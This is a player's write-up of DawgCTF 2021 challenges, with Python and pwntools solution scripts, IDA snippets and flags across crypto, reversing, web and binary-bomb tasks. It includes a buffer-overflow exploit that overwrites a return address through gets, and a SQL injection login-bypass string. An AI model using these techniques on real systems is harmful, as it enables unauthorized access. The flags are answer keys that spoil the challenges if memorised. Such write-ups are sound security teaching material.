DawgCTF 2021
I came 125th out of 514 participating teams. I really enjoyed the CTF and appreciated that it was pretty beginner friendly. My favourite challenges were the Binary Bomb and the Two Truths and a Fib.
crypto
cookin the ramen - 50 points
Apparently we made cookin the books too hard, here’s some ramen to boil as a warmup: .— …- …- . ….- …- … ..— .. .-. .– –. -.-. .– -.- -.– -. -… ..— ..-. -.-. …- …– ..- –. .— … ..- .. –.. -.-. …. – …- -.- . ..- – - . -. …- -. ..-. — -.– –.. - .-.. .— –.. –. –. …– … -.-. -.- ….. .— ..- — -. -.- -..- -.- –.. -.- …- ..- .– - -.. .— -… …. ..-. –. –.. -.- -..- .. –.. .– …- … – …– –.- –. ..-. … .– — .–. .— …..
Author: trashcanna
Figured out the following recipe by clicking around enough in CyberChef:
https://gchq.github.io/CyberChef/#recipe=From_Morse_Code('Space','Line%20feed')From_Base32('A-Z2-7%3D',true)From_Base64('A-Za-z0-9%2B/%3D',true)From_Base58('123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz',true)&input=Li0tLSAuLi4tIC4uLi0gLiAuLi4uLSAuLi4tIC4uLiAuLi0tLSAuLiAuLS4gLi0tIC0tLiAtLi0uIC4tLSAtLi0gLS4tLSAtLiAtLi4uIC4uLS0tIC4uLS4gLS4tLiAuLi4tIC4uLi0tIC4uLSAtLS4gLi0tLSAuLi4gLi4tIC4uIC0tLi4gLS4tLiAuLi4uIC0tIC4uLi0gLS4tIC4gLi4tIC0tIC0gLiAtLiAuLi4tIC0uIC4uLS4gLS0tIC0uLS0gLS0uLiAtIC4tLi4gLi0tLSAtLS4uIC0tLiAtLS4gLi4uLS0gLi4uIC0uLS4gLS4tIC4uLi4uIC4tLS0gLi4tIC0tLSAtLiAtLi0gLS4uLSAtLi0gLS0uLiAtLi0gLi4uLSAuLi0gLi0tIC0gLS4uIC4tLS0gLS4uLiAuLi4uIC4uLS4gLS0uIC0tLi4gLS4tIC0uLi0gLi4gLS0uLiAuLS0gLi4uLSAuLi4gLS0gLi4uLS0gLS0uLSAtLS4gLi4tLiAuLi4gLi0tIC0tLSAuLS0uIC4tLS0gLi4uLi4
Flag: DawgCTF{0k@y_r3al_b@by's_f1r5t}
Misc
Two Truths and a Fib - 100 points
Can you catch the fibber?
Author: trashcanna
You’re given three numbers and have to identify the fibonacci number within a few seconds. If you correctly pick out the fibonacci number a hundred times in a row, then you get the flag. I used the logic at https://www.geeksforgeeks.org/python-program-for-how-to-check-if-a-given-number-is-fibonacci-number/ to quickly figure out which numbers are fibonacci.
from pwn import *
import sys
import math
# A utility function that returns true if x is perfect square
def is_perfect_square(x):
s = int(math.sqrt(x))
return s * s == x
def is_fibonacci(n):
# n is Fibinacci if one of 5*n*n + 4 or 5*n*n - 4 or both
return is_perfect_square(5 * n * n + 4) or is_perfect_square(5 * n * n - 4)
def main(host, port):
r = remote(host, port)
print(r.recvlines(10)) # receive intro text
candidates = [int(x) for x in r.recvline().strip()[1:-1].split(B', ')]
print(r.recv(3)) # receive prompt
fibonacci_number = list(filter(is_fibonacci, candidates))[0]
payload = str(fibonacci_number).encode() + b'\n'
print('sending...', payload)
r.send(payload)
while True:
# get entire response
print(r.recvlines(2))
candidates = [int(x) for x in r.recvline().strip()[1:-1].split(B', ')]
print(r.recv(3))
fibonacci_number = list(filter(is_fibonacci, candidates))[0]
payload = str(fibonacci_number).encode() + b'\n'
print('sending...', payload)
r.send(payload)
if __name__ == '__main__':
host = sys.argv[1] # umbccd.io 6000
port = sys.argv[2]
main(host, port)
pass
Flag: DawgCTF{jU$T_l1k3_w3lc0me_w33k}
pwn
Bofit - 125 points
Because Bop It is copyrighted, apparently
Author: trashcanna
The program asks you to enter a specific character in response to each prompt. Unless it asks you to Shout it!, then you’re expected to enter any characters, as long as you enter at least 10. This part is received using gets
which is vulnerable, so we just return to the target function. I’m getting the hang of gets
pwn tasks.
from pwn import *
host = sys.argv[1] if len(sys.argv) > 1 else 'umbccd.io'
port = int(sys.argv[2]) if len(sys.argv) > 2 else 4100
conn = remote(host, port)
print(conn.recvlines(6))
TARGET_ADDRESS = 0x401256
packed_address = p64(TARGET_ADDRESS, endianness='little')
while True:
command = conn.recvline()
print(command)
if command.startswith(b'BOF'):
conn.sendline(b'B')
elif command.startswith(b'Pull'):
conn.sendline(b'P')
if command.startswith(b'Twist'):
conn.sendline(b'T')
if command.startswith(b'Shout'):
conn.sendline(b'A' * 0x38 + packed_address)
break
conn.recvline()
conn.sendline(b'x') # force return
print(conn.recvline()) # print flag
if __name__ == '__main__':
pass
Flag: DawgCTF{n3w_h1gh_sc0r3!!}
rev
Author: Percival
Solution
I believe these were intended to be pretty entry-level reversing challenges. This is because there was some story and were trying to teach different parts of reverse engineering, such as learning about sections in PE files. If I remember correctly they all had some intentionally rudimentary anti-debug. However, in the end, they all led to decrypting the flag by XORing against 0x78.
Here’s the IDAPython command I used to extract the flag for secret app:
''.join([chr(e^0x78) for e in get_bytes(0x417B50, 0x19)])
Challenges solved in this way:
calculator - 50 points
secret app - 50 points
Sections - 75 points
Who am I - 100 points
web
Dr Hrabowskis Great Adventure - 150 points
President Freeman Hrabowski is having a relaxing evening in Downtown Baltimore. But he forgot his password to give all UMBC students an A in all their classes this semester! Find a way to log in and help him out.
Author: Clearedge
We’re given a user/password prompt, in the username field I put user' OR '1'='1' --
, and whatever for the password field.
Flag: DawgCTF{WeLoveTrueGrit}
Just A Comment - 50 points
Just a comment, we love our people here at ClearEdge! Author: Clearedge
We’re given a pcap and there were a lot of packets so I grepped for the flag instead.
/DawgCTF{[^}]+}/
Flag: DawgCTF{w3 h34r7 0ur 1r4d 734m}
Binary Bomb
Author: treap_treap
Part 1 - 25 points
Starting off easy… reversing (things) is fun!
Reverse the string! Easy peasy
Flag: DawgCTF{R3veR51nG_7h3_s7r1nG}
Part 2 - 50 points
Can you help me find my lost key so I can read my string?
Single byte XOR
DawgCTF{An07h3R_rEv3r5aL_mE7h0d}
Part 3 - 75 points
Reflections? Rotations? Translations? This is starting to sound like geometry…
Looks like an one-to-one/onto function, just generate output for every input. It at least works for inputs < 0x80
. I didn’t bother to figure out what this function represents.
def func3_1(c):
if c > 0x40 and c <= 0x5a:
c -= 0xD
if c > 0x40:
v1 = 0
else:
v1 = 0x1a
c += v1
if c > 0x60 and c <= 0x7a:
c -= 0xD
if c > 0x60:
v2 = 0
else:
v2 = 0x1a
c += v2
return c
def func3_2(c):
if c > 0x20 and c != 0x7f:
c -= 0x2f
if c > 0x20:
v1 = 0
else:
v1 = 0x5e
c += v1
return c
if __name__ == '__main__':
target = [int(x, 16) for x in '22 5F 39 7E 4A 62 30 21 3D 41 60 47 21 30 36 71 66 63 38 27 5F 32 30 75 66 36 60 32 25 37'.split(' ')]
# the dumb way
res = []
for t in target:
for i in range(0, 0x80): # NOT 0x100, you end up with multiple candidates
if t == func3_2(func3_1(i)):
res.append(i)
print(''.join(chr(c) for c in res))
Flag: DawgCTF{D0uBl3_Cyc1iC_rO74tI0n_S7r1nGs}
Part 4 - 150 points
This is the phase you have been waiting for… one may say it’s the golden stage!
Let’s switch things up! Numerical inputs map to line numbers in rockyou.txt, and each word is separated by a ’’ (if the phase’s solution is 4 5, the flag would be DawgCTF{passwordiloveyou})
Ported the core function to python to see what it did, realised it was generating the fibonacci sequence. Each target number is multiplied by the 10th term in the fibonacci sequence, and then you have to invert the result.
def func4(a): # fibonacci
if a <= 0:
return 0
if a == 1:
return 1
return func4(a-1) + func4(a-2)
def fibonacci_generator():
n1, n2 = 0, 1
while True:
yield n1
nth = n1 + n2
# update values
n1 = n2
n2 = nth
if __name__ == '__main__':
targets = [t * func4(10) for t in [1, 123, 15128, 1860621]]
user_inputs = []
for i, fib in enumerate(fibonacci_generator()):
if fib == targets[0]:
user_inputs.append(i)
if len(targets) > 1:
targets = targets[1:]
else:
break
if fib > 102334155:
print('unhappy')
break
print('user inputs:', user_inputs)
rockyou = [line.strip() for line in open('rockyou.txt', 'r', encoding='latin-1').readlines()]
print('_'.join([rockyou[line_no-1] for line_no in user_inputs]))
Flag: DawgCTF{abc123_qwerty_anthony_123123}
Part 5 - 150 points
Are you really, really ready and excited for this stage?
(Flag uses the same rockyou.txt format as BBomb Phase 4)
We’re given a couple of constraints, just have to make sure they’re all satisfied.
From Reversing
- Expected to give four numbers
- Numbers sum to 8084
- Each number is at least as big as 10 less the previous number
Amendments from the author on Discord
- Numbers are in ascending order
- No numbers less than 2010
# rockyou_getter.py
def convert_to_rockyou_flag(li):
rockyou = [line.strip() for line in open('rockyou.txt', 'r', encoding='latin-1').readlines()]
return 'DawgCTF{' + '_'.join([rockyou[line_no-1] for line_no in li]) + '}'
import math
from itertools import combinations
from rockyou_getter import convert_to_rockyou_flag
target_sum = 8084
candidates = []
for i in range(2010, 2200):
is_candidate = True
for j in range(3, math.ceil(i / 2)):
if i % j == 0:
is_candidate = False
break
if is_candidate:
candidates.append(i)
for x in filter(lambda e: sum(e) == 8084, combinations(candidates, 4)):
a, b, c, d = list(sorted(x))
if a < b - 10 or b < c - 10 or c < d - 10: # from reversing
continue
res = [a, b, c, d]
print(convert_to_rockyou_flag(res))
if __name__ == '__main__':
pass
Flag: DawgCTF{kayla1_harris_ilovemike_valencia}
Part 6 - 175 points
Oh no… I lost the key to my string again :(
Can extract the target bytes with the below IDA script:
# click on 0x1843 and then run:
import idc
l = idc.get_screen_ea()
res = []
for i in range(24):
text = idc.GetDisasm(l)
val = text.split(';')[0].split(',')[1].split('h')[0].strip()
res.append(int(val, 16))
l = idc.next_head(l)
print(res)
Noticed it’s just doing bit manipulation… Here’s the decompiler output
for ( i = 0; i < strlen(target) && i < strlen(user_input); ++i )
{
user_input[i] = ((unsigned __int8)(user_input[i] & 0xF0) >> 4) | (16 * user_input[i]);
user_input[i] ^= 0x64u;
if ( user_input[i] != target[i] )
v4 = 0;
}
Here’s the script I wrote
target = [64, 119, 35, 145, 176, 114, 130, 119, 99, 49, 162, 114, 33, 242, 103, 130, 145, 119, 38, 145, 0, 51, 130, 196]
# go backwards
res = []
for t in target:
_t = (t ^ 0x64)
_t = ( (_t << 4) | (_t >> 4) ) & 0xff
res.append(_t)
print(''.join([chr(e) for e in res]))
Flag: DawgCTF{B1t_Man1pUlaTi0n_1$_Fun}